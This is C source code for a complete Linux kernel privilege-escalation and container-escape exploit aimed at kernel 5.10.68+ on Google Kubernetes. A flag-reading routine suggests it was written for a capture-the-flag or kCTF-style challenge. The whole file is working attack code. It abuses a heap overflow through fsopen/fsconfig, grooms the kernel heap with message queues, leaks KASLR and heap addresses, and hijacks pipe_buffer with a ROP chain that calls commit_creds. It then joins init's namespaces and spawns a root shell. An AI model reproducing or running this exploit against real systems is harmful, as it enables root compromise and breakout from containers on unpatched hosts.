#define _GNU_SOURCE
#include <stdbool.h>
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <pthread.h>
#include <stdint.h>

#include "util.h"

// 5.10.68+, spray targeted on Google Kubernetes
#define H_SPRAY 7    
#define K_SPRAY 6
#define P_SPRAY 6
#define PIPES 50
#define ROP_SPRAY 0x100
#define SPRAY_32 100
#define SPRAY_512 0x100
#define SPRAY_1k 80
#define SPRAY_4K 0x1000

//mov rsp, rax ; pop rbp ; ret; 0xffffffff81065879
uint64_t stack_pivot = 0xffffffff8106ed69ull - 0xffffffff81000000ull; 
uint64_t ud2 = 0xffffffff8104160full - 0xffffffff81000000ull;
uint64_t commit_creds = 0xffffffff810b21a0ull - 0xffffffff81000000ull;
uint64_t prepare_kernel_cred = 0xffffffff810b2590ull - 0xffffffff81000000ull;
uint64_t switch_task_namespaces = 0xffffffff810b0110ull - 0xffffffff81000000ull;
uint64_t find_task_by_vpid = 0xffffffff810a7f20ull - 0xffffffff81000000ull;
uint64_t init_nsproxy = 0xffffffff82657420ull - 0xffffffff81000000ull;
uint64_t kpti_trampoline = 0xffffffff81c00e90ull + 0x16 - 0xffffffff81000000ull;
//: pop rdi ; ret  ;
uint64_t pop_rdi = 0xffffffff81076950ull - 0xffffffff81000000ull; 
//: pop rsi ; ret  ;
uint64_t pop_rsi = 0xffffffff81048fadull - 0xffffffff81000000ull;
//: test esi, esi ; cmovne rdi, rax ; mov rax, qword [rdi] ; pop rbp ; ret  ;
uint64_t cmov_rdi_rax_esi_nz_pop_rbp = 0xffffffff81674342ull - 0xffffffff81000000ull;

typedef struct
{
    uint64_t kmalloc_1024_leak;
    uint64_t kmalloc_512_leak;
}double_heap_leaks;

int fd = 0;

int pipefd[PIPES][2];

int spray_512_qid[0x10000] = {0};

int rop_msg_qid[ROP_SPRAY];

int spray_4k_qid[0x10000] = {0}; // useful to dump later
int spray_4k_count = 0;
int spray_4k_used = 0;

void debug() 
{
    puts("Paused...");
    getchar();
}

void deplete_512()
{
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1000;
    for (int i = 0; i < SPRAY_512; i++)
    {
        get_msg(spray_512_qid[i], recieved, 0x200 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
    }
    return;
}

void spray_512()
{
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1000;
    memset(buffer, 0x41, sizeof(buffer));
    for (int i = 0; i < SPRAY_512; i++)
    {
        int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(spray, message, 0x200 - 0x30, 0);
        spray_512_qid[i] = spray;
    }
    return;
}

void stuff_4k(int count)
{
    char recieved[0x2000] = {0};
    for (int i = 0; i < count; i++)
    {
        if (spray_4k_used == spray_4k_count)
        {
            puts("nothing more left to help");
            exit(-1);
        }
        get_msg(spray_4k_qid[spray_4k_used++], recieved, 0x1000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
    }
    return;
}

void deplete_4k()
{
    char recieved[0x2000] = {0};
    while (spray_4k_used != spray_4k_count)
    {
        get_msg(spray_4k_qid[spray_4k_used++], recieved, 0x1000-0x30, 0, IPC_NOWAIT | MSG_NOERROR);
    }
    spray_4k_used = 0;
    spray_4k_count = 0;
    return;
}

void spray_4k()
{
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1000;

    memset(buffer, 0x41, sizeof(buffer));
    for (int i = 0; i < SPRAY_4K; i++)
    {
        int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(spray, message, size - 0x30, 0);
        spray_4k_qid[spray_4k_count++] = spray;
    }
    return;
}

void generic_spray(uint64_t size, uint64_t count)
{
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    msg *message = (msg *)buffer;

    memset(buffer, 0x41, sizeof(buffer));
    for (int i = 0; i < count; i++)
    {
        int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(spray, message, size - 0x30, 0);
    }
    return;
}

uint64_t do_check_leak(char *buf) 
{
    uint64_t kbase = (((unsigned long*)buf)[510] - 0x30e700)&0xffffffffffffff00;
    if (kbase & 0x1fffff || (void*)kbase == NULL || (kbase & (0xfffffful << 40)) != ((0xfffffful << 40))) 
    { 
        return 0;
    }
    return kbase;
}

uint64_t do_kaslr_leak () 
{
    uint64_t kbase = 0;
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1018;

    int targets[K_SPRAY] = {0};
    int i;
    for (i = 0; i < K_SPRAY; i++) 
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }

    puts("[*] Spraying kmalloc-32");
    int kmalloc_32_fd[SPRAY_32];
    for (int i = 0; i < SPRAY_32; i++) 
    {
        kmalloc_32_fd[i] = open("/proc/self/stat", O_RDONLY);
    }

    // trigger hole hopefully
    get_msg(targets[0], recieved, size - 0x30, 0, MSG_NOERROR | IPC_NOWAIT | MSG_COPY);

    memset(pat, 0x42, sizeof(pat));
    pat[sizeof(pat)-1] = '\x00';
    puts("[*] Opening ext4 filesystem");

    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
        puts("fsopen: Remember to unshare");
        exit(-1);
    }

    puts("[*] Overflowing...");
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++) 
    {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }

    // free some
    stuff_4k(16);

    // overflow to tamper size for OOB read
    pat[21] = '\x00';
    char evil[] = "\x60\x10";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    puts("[*] Done heap overflow");

    size = 0x1060;
    puts("[*] Checking for kernel leaks");

    // go through all targets qids and check if we get a leak
    for (int i = 0; i < K_SPRAY; i++) 
    {
        get_msg(targets[i], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        kbase = do_check_leak(recieved);
        if (kbase) 
        {
            return kbase;
        }
    }

    puts("[X] No leaks, trying again");
    // free some and cleanup
    close(fd);
    stuff_4k(16);
    for (int i = 0; i < SPRAY_32; i++) 
    {
        close(kmalloc_32_fd[i]);
    }
    return 0;
}

double_heap_leaks do_heap_leaks()
{
    uint64_t kmalloc_1024 = 0;
    uint64_t kmalloc_512 = 0;
    char pivot_spray[0x2000] = {0};
    uint64_t *pivot_spray_ptr = (uint64_t *)pivot_spray;
    double_heap_leaks leaks = {0};
    int linked_msg[256] = {0};
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    msg *message = (msg *)buffer;

    // spray kmalloc-512 linked to kmalloc-64 linked to kmalloc-1024 in unique msg queues
    for (int i = 0; i < 255; i++) 
    {
        linked_msg[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        memset(pivot_spray, 0x0, sizeof(pivot_spray));
        pivot_spray_ptr[0] = 1;
        for (int i = 0; i < 10;i ++)
        {
            pivot_spray_ptr[i+1] = stack_pivot;
        }

        // spray pivots using kmalloc-512 allocations
        send_msg(linked_msg[i], pivot_spray, 0x200 - 0x30, 0);
        memset(buffer, 0x1+i, sizeof(buffer));
        message->mtype = 2;
        send_msg(linked_msg[i], message, 0x40 - 0x30, 0);
        message->mtype = 3;
        send_msg(linked_msg[i], message, 0x400 - 0x30 - 0x40, 0);
    }

    int size = 0x1038;
    int targets[H_SPRAY] = {0};

    for (int i = 0; i < H_SPRAY; i++) 
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }

    // create hole hopefully
    get_msg(targets[0], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

    puts("[*] Opening ext4 filesystem");
    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
        puts("fsopen: Remember to unshare");
        exit(-1);
    }

    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++) 
    {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }

    // fill it a bit to help prevent potential crashes on MSG_COPY
    stuff_4k(16);

    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x19";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    puts("[*] Done heap overflow");

    size = 0x1960;
    puts("[*] Receiving corrupted size and leak data");
    // go through all targets qids and check if we hopefully get a leak
    for (int i = 0; i < H_SPRAY; i++) 
    {
        get_msg(targets[i], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        for (int j = 0x202; j < 0x202 + (0x1960-0x1010) / 8; j++)
        {
            uint64_t *dump = (uint64_t *)recieved;
            if (dump[j] == 0x2 && dump[j+1] == 0x10 && dump[j+4] == dump[j+5])
            {
                kmalloc_1024 = dump[j-2];
                kmalloc_512 = dump[j-1];

                // delete chunk 1024, chunk 512 already has sprayed pivots
                uint8_t target_idx = (dump[j+4] & 0xff) - 1;

                get_msg(linked_msg[target_idx], recieved, 0x400 - 0x30, 3, IPC_NOWAIT | MSG_NOERROR);

                // spray to replace with pipe_buffer, thanks LIFO!
                for (int k = 0; k < PIPES; k++)
                {
                    if (pipe(pipefd[k]) < 0)
                    {
                        perror("pipe failed");
                        exit(-1);
                    }
                    write(pipefd[k][1], "pwnage", 7);
                }
                break;
            }
        }
        if (kmalloc_1024 != 0)
        {
            break;
        }
    }
    close(fd);

    if (!kmalloc_1024)
    {
        puts("[X] No leaks, trying again");
        stuff_4k(16);
        return leaks;
    }
    leaks.kmalloc_1024_leak = kmalloc_1024;
    leaks.kmalloc_512_leak = kmalloc_512;
    return leaks;
}


void dump_flag()
{
    char buf[200] = {0};
    for (int i = 0; i < 4194304; i++) 
    {
        // bruteforce root namespace pid equivalent of the other container's sleep process
        snprintf(buf, sizeof(buf), "/proc/%d/root/flag/flag", i);
        int fd = open(buf, O_RDONLY);
        if (fd < 0) 
        {
            continue;
        }
        puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲");
        read(fd, buf, 100);
        write(1, buf, 100);
        puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲");
        close(fd);
    }
    return;
}

__attribute__((naked)) win()
{
    // thanks movaps sooooooo much
    asm volatile(
        "mov rbp, rsp;"
        "and rsp, -0xf;"
        "call dump_flag;"
        "mov rsp, rbp;"
        "ret;");
}

void pwned()
{
    write(1, "ROOOOOOOOOOOT\n", 14);
    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);
    win();
    char *args[] = {"/bin/sh", NULL};
    execve("/bin/sh", args, NULL);
    _exit(0);
}

void do_win(uint64_t kmalloc_512, uint64_t kmalloc_1024) 
{
    int size = 0x1000;
    int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    char pat[0x40] = {0};
    msg* message = (msg*)buffer;
    memset(buffer, 0x44, sizeof(buffer));
    int ready = 0;
    int ignition_target = -1;

    // doesn't matter as long as valid pointers
    uint64_t next_target = kmalloc_1024 + 0x440;
    uint64_t prev_target = kmalloc_512 + 0x440;

    // set up arb free primitive, avoid tripping hardened usercopy when re-alloc with msg_msg
    uint64_t free_target = kmalloc_1024 - 0x20;
    uint64_t make_sec_happy = kmalloc_512 - 0x20;

    stuff_4k(16);

    int targets[P_SPRAY] = {0};

    while (!ready)
    {
        for (int i = 0; i < P_SPRAY; i++) 
        {
            memset(buffer, 0x41+i, sizeof(buffer));
            targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
            send_msg(targets[i], message, size - 0x30, 0);
        }

        get_msg(targets[0], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);

        // misaligned arb free attack
        fd = fsopen("ext4", 0);
        if (fd < 0) 
        {
                puts("Opening");
                exit(-1);
        }

        strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
        for (int i = 0; i < 117; i++) {
            fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
        }
        puts("[*] Done heap overflow");

        char evil[0x40] = {0};
        uint64_t *evil_ptr = (uint64_t *)evil;
        memset(evil, 0x41, 0x30);
        evil_ptr[0] = next_target;
        evil_ptr[1] = prev_target;
        evil_ptr[4] = free_target;
        evil_ptr[5] = make_sec_happy;

         // in case null bytes in addresses
        if(strlen(evil) != 0x30)
        {
            puts("unable to continue given heap addresses");
            exit(-1);
        }

        puts("[*] Overflowing...");
        fsconfig(fd, FSCONFIG_SET_STRING, evil, "\x00", 0);
        puts("check heap to check preparedness for ignition");

        stuff_4k(16);

        for (int i = 0; i < P_SPRAY; i++)
        {
            memset(recieved, 0, sizeof(recieved));
            // rely on error code to determine if we have found our target which we overflowed into
            int ret = get_msg_no_err(targets[i], recieved, size+0x50-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
            if (ret < 0)
            {
                ready = 1;
                ignition_target = i;
                break;
            }
        }

        if (!ready)
        {
            puts("nothing ready for ignition, trying again");
            // re-stuff freelist and stabilize
            stuff_4k(16);
        }
    }

    char overwrite[0x300] = {0};
    memset(overwrite, 0x41, sizeof(overwrite));
    uint64_t *overwrite_ptr = (uint64_t *)overwrite;

    // redirect to "table" of stack pivots
    overwrite_ptr[1] = kmalloc_512 + 0x50;

    uint64_t user_rflags, user_cs, user_ss, user_sp;
    asm volatile(
        "mov %0, %%cs\n"
        "mov %1, %%ss\n"
        "mov %2, %%rsp\n"
        "pushfq\n"
        "pop %3\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags)
    );

    uint64_t chain[] = 
    {
        pop_rdi,
        0,
        prepare_kernel_cred,
        pop_rsi,
        0xbaadbabe,
        cmov_rdi_rax_esi_nz_pop_rbp,
        0xdeadbeef,
        commit_creds,
        pop_rdi,
        1,
        find_task_by_vpid,
        pop_rsi,
        0xbaadbabe,
        cmov_rdi_rax_esi_nz_pop_rbp,
        0xdeadbeef,
        pop_rsi,
        init_nsproxy,
        switch_task_namespaces,
        kpti_trampoline,
        0xdeadbeef,
        0xbaadf00d,
        (uint64_t)pwned,
        user_cs,
        user_rflags,
        user_sp & 0xffffffffffffff00,
        user_ss,
    };

    memcpy(&overwrite_ptr[2], chain, sizeof(chain));

    for (int i = 0; i < P_SPRAY; i++)
    {
        get_msg(targets[i], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR);
    }

    // spray rop chain plus evil vtable ptr to overlap with pipe_buffer
    for (int i = 0; i < ROP_SPRAY; i++)
    {
        send_msg(rop_msg_qid[i], overwrite, 0x300 - 0x30, 0);
    }

    deplete_512();
    deplete_4k();
    puts("[*] Attempt at igniting ROP!");

    // trigger
    for (int i = 0; i < PIPES; i++)
    {
        close(pipefd[i][0]);
        close(pipefd[i][1]);
    }

}

void unshare_setup(uid_t uid, gid_t gid)
{
    int temp;
    char edit[0x100];
    unshare(CLONE_NEWNS|CLONE_NEWUSER);
    temp = open("/proc/self/setgroups", O_WRONLY);
    write(temp, "deny", strlen("deny"));
    close(temp);
    temp = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", uid);
    write(temp, edit, strlen(edit));
    close(temp);
    temp = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", gid);
    write(temp, edit, strlen(edit));
    close(temp);
    return;
}

int main(int argc, char **argv, char **envp) 
{
    unshare_setup(getuid(), getgid());

    cpu_set_t my_set;      
    CPU_ZERO(&my_set);      
    CPU_SET(0, &my_set);     
    sched_setaffinity(0, sizeof(cpu_set_t), &my_set);

    // initalize queues to spam rop payload later
    for (int i = 0; i < ROP_SPRAY; i++)
    {
        rop_msg_qid[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    }

    // pregenerate a lot
    spray_4k();

    // kbase leak
    uint64_t kbase = 0;
    while(!kbase)
    {
        kbase = do_kaslr_leak();
    }

    stack_pivot += (uint64_t)(kbase);
    ud2 += (uint64_t)(kbase);
    commit_creds += (uint64_t)(kbase);
    prepare_kernel_cred += (uint64_t)(kbase);
    switch_task_namespaces += (uint64_t)(kbase);
    find_task_by_vpid += (uint64_t)(kbase);
    init_nsproxy += (uint64_t)(kbase);
    kpti_trampoline += (uint64_t)(kbase);
    pop_rdi += (uint64_t)(kbase);
    pop_rsi += (uint64_t)(kbase);
    cmov_rdi_rax_esi_nz_pop_rbp += (uint64_t)(kbase);

    printf("[*] kbase: %p\n", kbase);

    // pre heap leak setup
    stuff_4k(16);
    spray_512();
    generic_spray(1024, SPRAY_1k);

    // kmalloc-1024 leak and kmalloc-512 leak
    uint64_t kmalloc_1024 = 0;
    uint64_t kmalloc_512 = 0;
    double_heap_leaks leaks = {0};

    while (!kmalloc_1024)
    {
        leaks = do_heap_leaks();
        kmalloc_1024 = leaks.kmalloc_1024_leak;
        kmalloc_512 = leaks.kmalloc_512_leak;
    }

    printf("[*] kmalloc 1024 chunk: 0x%llx\n", kmalloc_1024);
    printf("[*] kmalloc 512 chunk: 0x%llx\n", kmalloc_512);

    deplete_4k();
    spray_4k();

    // try to pwn
    do_win(kmalloc_512, kmalloc_1024);
    puts("[*] exploit failed :(");
    return 0;
}